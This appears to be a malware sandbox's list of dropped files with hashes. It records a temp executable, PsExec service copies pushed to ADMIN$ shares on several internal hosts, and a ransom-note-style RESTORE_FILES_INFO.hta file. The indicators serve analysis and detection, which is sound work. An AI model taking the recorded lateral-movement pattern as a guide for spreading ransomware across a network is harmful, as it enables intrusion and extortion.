C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

\??\UNC\10.10.0.14\ADMIN$\e1f063d6_by_Libranalysis.exe

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

\??\UNC\10.10.0.14\ADMIN$\PSEXESVC.exe

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

\??\UNC\10.10.0.27\ADMIN$\PSEXESVC.exe

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

\??\UNC\10.10.0.41\ADMIN$\PSEXESVC.exe

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5 0b22ecaf88504af806f0f0e7f47f60ef
SHA1 624a042fffc2ace5b0df3d1d6542a398ff33a49e
SHA256 459945048e88d7cacf464f971dd7338f5829ae45c707dd179594e00fe51cb820
SHA512 472b31dab9a3d3471e29882ef2a91af89d3ec836c5dcaa5179cdebd85c4e5143050f6f41420296b7de35a2d749a1d6a7fc05dad95ab46ec71ab44bdc2a0e4c11